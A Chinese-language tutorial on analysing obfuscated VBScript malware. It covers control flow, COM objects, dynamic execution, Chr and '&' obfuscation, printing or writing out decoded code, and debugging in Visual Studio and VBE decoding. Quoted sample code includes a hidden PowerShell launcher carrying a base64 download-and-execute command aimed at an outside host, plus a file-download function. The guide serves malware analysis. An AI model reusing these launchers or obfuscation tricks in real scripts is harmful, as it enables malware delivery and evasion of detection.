语法使用
控制流语句
分析恶意代码时,掌握条件语句和循环语句的工作原理及解混淆的技巧非常重要,因为恶意代码的作者通常会使用这些方法来复杂化代码逻辑、隐藏恶意行为并增加对分析人员的困难。
条件语句
If...Then...Else语句
If...Then...Else语句在VBS中用来进行条件判断和执行不同的代码块。根据条件的结果选择执行一个代码块或另一个代码块。
根据条件判断是否成年:
Dim age
age = 18
If age >= 18 Then
WScript.Echo "成年"
Else
WScript.Echo "未成年"
End If
Select...Case语句
Select...Case语句在VBS中用于根据不同的条件选择执行不同的代码块,类似于其他语言中的switch...case语句。
根据条件判断周几:
Dim day
day = "Monday"
Select Case day
Case "Monday"
WScript.Echo "周一"
Case "Tuesday"
WScript.Echo "周二"
Case "Wednesday"
WScript.Echo "周三"
Case "Thursday"
WScript.Echo "周四"
Case "Friday"
WScript.Echo "周五"
Case Else
WScript.Echo "周末"
End Select
循环语句
For...Next 循环
For..Next循环是一种在 VBS中用于迭代指定范围的整数值的循环结构,支持使用关键字Step设置步长。
循环输出0-5:
For i = 0 To 5
WScript.Echo i
Next
通过关键字step带步长循环输出0,2,4:
For i = 0 To 5 Step 2
WScript.Echo i
Next
For Each...Next 循环
For Each...Next循环是一种在 VBS中用于迭代集合(如数组、集合对象等)元素的循环结构。
循环输出数组中的字符:
Iam0x17 = array("I","a","m","0","x","1","7")
For Each x In Iam0x17
WScript.Echo x
Next
Do...Loop循环
Do...Loop循环是一种在 VBS中用于重复执行一段代码块的循环结构,直到满足指定的条件为止。
根据条件循环输出0-4:
Dim count
count = 0
Do While count < 5
WScript.Echo count
count = count + 1
Loop
COM对象
在 Windows环境中,如果想要使用 VBS 与系统资源进行交互,一种常见的方法是利用 COM(Component Object Model)对象。COM 提供了一种标准的方式来与 Windows 系统的各种功能和资源进行通信。
通过 COM,你可以使用各种 COM 对象来访问和操作系统资源,如文件系统、注册表、网络功能等。在 JavaScript 中,可以使用CreateObject方法在创建对象引用,使用Set关键字可以将一个对象分配给变量。
以下列举出VBS恶意代码中经常使用的COM对象
文件系统对象
文件系统对象(FileSystemObject)用于管理文件和文件夹,执行文件操作,如创建、复制、删除和重命名文件等。
以下是利用FileSystemObject对象判断文件是否存在的混淆代码
Set tXGgxJSfaKwiAknYMxgbIkFtzrLQGjNlojxMo = CreateObject("Scripti"&"ng.FileS"&"ystemObject") : If tXGgxJSfaKwiAknYMxgbIkFtzrLQGjNlojxMo.FolderExists("c"&":use"&"rsoC")=false Then vvKfrwrFOsLdtXrsBjHbpTP(CzVSrYTOisCktDpoRvcYijGYVaUu)
Shell对象
Shell对象是用于与操作系统Shell进行交互的对象。主要使用的Shell对象有两种,WScript.Shell和Shell.Application。通过Shell对象,可以执行多种操作,如运行程序、操作文件和文件夹、创建快捷方式等。
以下是利用Shell.Application对象启动powershell命令下载执行的混淆代码
Dim FSO : Set FSO = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("C:\ProgramData\Microsoft\Windows") Then e = chr(69)
Set sh = createobject("sh"& e &"ll.application")
execute("pow = ""pow""& e &""rsh""& e &""ll""")
sh.ShellExecute "cmD."& e &"x"& e, "/c "& pow &" -nop -w hidd"& e &"n -"& e &"p bypass -"& e &"nc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBtAGUAcgBpAGMAYQBuAG8AYwBvAGYAZgBlAGEALgByAHUAIgApAA==", "", "op"& e &"n", 0
网络对象
网络对象在VBScript中提供了进行网络操作的功能。由于VBS中可选择使用的网络对象有很多,这里只列举其中几种。MSXML2.XMLHTTP和WinHttp.WinHttpRequest对象可以发送HTTP请求,如GET、POST等,并获取响应结果;WScript.Network对象可以获取计算机的名称、用户名、域名等信息,还可以映查询和操作网络上的共享资源等。
以下是利用MSXML2.XMLHTTP网络对象进行下载解混淆后的函数
Public Function DownloadFile(url, path)
Set objReq = CreateObject("MSXML2.XMLHTTP")
objReq.open "GET", url, False
objReq.send
If objReq.Status = 200 Then
Set objStream = CreateObject("ADODB.Stream")
objStream.open
objStream.Type = 1
objStream.Write objReq.responseBody
objStream.Position = 0
objStream.SaveToFile path, 2
objStream.Close
Set objStream = Nothing
DownloadFile = True
End If
Set objReq = Nothing
End Function
错误机制
"On Error Resume Next" 是 VBS中的一个错误处理机制。当代码执行时遇到错误时,通常会导致脚本中断并抛出错误消息。但使用 "On Error Resume Next" 可以告诉脚本在出现错误时继续执行下一行代码,而不中断脚本的执行。
动态执行代码
动态执行代码可以根据需要执行不同的代码块或根据外部数据动态生成并执行代码,增加代码的灵活性和高效性。然而,攻击者利用这一特性,将关键代码片段加密、压缩或混淆,并在运行时进行解密、解压缩或解混淆,以逃避常规的安全检测和防御机制。
在VBScript中,动态执行代码有以下三种使用方式
Sub vbs_exec(code) :eval("execute(code)") : End Sub
vbs_exec("result = 1 + 2 : MsgBox result")
ExecuteGlobal "result = 1 + 2 : MsgBox result"
execute("result = 1 + 2 : MsgBox result")
基础混淆手法
&字符插入混淆
在VBS脚本中,&字符是用作字符串拼接操作符。它的作用是将两个字符串连接在一起,形成一个新的字符串。攻击者会利用&字符进行简单混淆。
Chr编码混淆
Chr编码是一种编码技术,通过使用编程语言中的Chr函数将字符转换为对应的 ASCII 值。例如,Chr(65) 将返回字符 "A"。在VBS脚本中Chr编码混淆是一种常见的混淆手段。
数据输出
无论采用何种混淆加密方法,数据和代码在使用前都需要被还原,以便作为参数传递给函数或进行动态执行。在这一还原阶段,我们有机会立即获取解密后的输出,并将其打印或写入文件。这种方式特别适合利用代码动态执行的混淆脚本。
打印输出
WScript.Echo是VBS的一种输出方法,用于将文本或者变量的值输出到控制台或弹出消息框。这里要注意,由于我们是进行分析恶意代码,输出的值可能很长,不适合使用弹框方式去展示。因此我们在使用的可以通过命令行工具输入cscript script.vbs去运行脚本,这样即可在控制台中输出。
content = "test"
'打印输出并换行
WScript.Echo content
'打印输出不换行换行
WScript.StdOut.Write content
文件写入
前面已经介绍过文件系统对象FileSystemObject,面对过长的数据,在控制台查看输出不方便时,可以将解密的数据输出到文件中。
Sub WriteToFile(filePath, content)
' 创建 FileSystemObject 对象
Set fso = CreateObject("Scripting.FileSystemObject")
' 创建文本文件,并打开用于写入内容
Set file = fso.CreateTextFile(filePath)
' 写入内容到文件
file.Write content
' 关闭文件
file.Close
' 释放对象
Set file = Nothing
Set fso = Nothing
End Sub
' 调用函数进行文件写入
filePath = "file.txt" ' 指定要写入的文件路径
content = "test" ' 要写入的文本内容
WriteToFile filePath, content
实例分析
两个例子都是存在动态执行代码函数的,分别使用打印输出和文件写入的方式获取解密后的代码。
SHA1: 742e8e1701b03a0638eec505e17ad453a612ac5e
对于这个混淆代码,我们关注其中两点即可,一是存在动态执行代码的函数,二是有调用
Sub vvKfrwrFOsLdtXrsBjHbpTP(yPpuUKXHEmSDWkSNcMKmECLjVh) : eval("execute(yPpuUKXHEmSDWkSNcMKmECLjVh)") : End Sub
vvKfrwrFOsLdtXrsBjHbpTP(CzVSrYTOisCktDpoRvcYijGYVaUu)
所以要动态执行的代码片段一定是CzVSrYTOisCktDpoRvcYijGYVaUu这个变量,将执行代码注释掉,然后打印该变量即可得到还原的代码。
SHA1: 7e288260106a9a06542a1c8eb74bd98e40ce4978
这里将Execute函数变为写入文件
Execute (aqswdeaq(ewaq56nhjuy(67), qwert41))
解密后的部分代码
动态调试
VBS动态调试工具并不多,我使用过的有两种:VbsEdit,轻量级,但容易出现崩溃;Visual Studio,功能强大,唯一的缺点就是太重。
综合上述因素,我这里选择的是使用Visual Studio作为动态调试的工具。
VS配置
以管理员权限启动VS,操作选项卡:调试->选项->实时,确保实时调试下的脚本选项属于勾选状态。
方式一
配置好VS后,在管理员权限的命令行工具输入cscript /x script.vbs(也可以使用wscript代替cscript)命令启动调试模式。
执行命令后会出现如下弹框,选择调试cscript.exe
点击确定
断点已经出现在脚本第一行代码处,此时已经可以进行调试分析,通过变量输出的信息去除混淆。
方式二
使用VS外部工具选项进行调试
以管理员权限启动VS,操作选项卡:工具->外部工具->添加
配置好后,工具选项卡中即会出现新配置的外部工具选项。
使用VS打开要调试的脚本文件,然后点击我们刚配置好的Script Debug选项,实时调试选项框便会弹出。
点击确定后即可进入调试。
VBE文件解码
我们在分析样本时,会遇见这样好像一堆乱码的文件,但是加上vbe后缀仍可以正常执行。其实这种就是被编码后的VBS文件。
SHA1: d8244d9c1650f9815160b762e121afbae29fedb9
VBE解码工具有很多,我这里选择的是github上的一个脚本
GitHub - JohnHammond/vbe-decoder: A Python3 script to decode an encoded VBScript file, often seen with a .vbe file extension
解码后的代码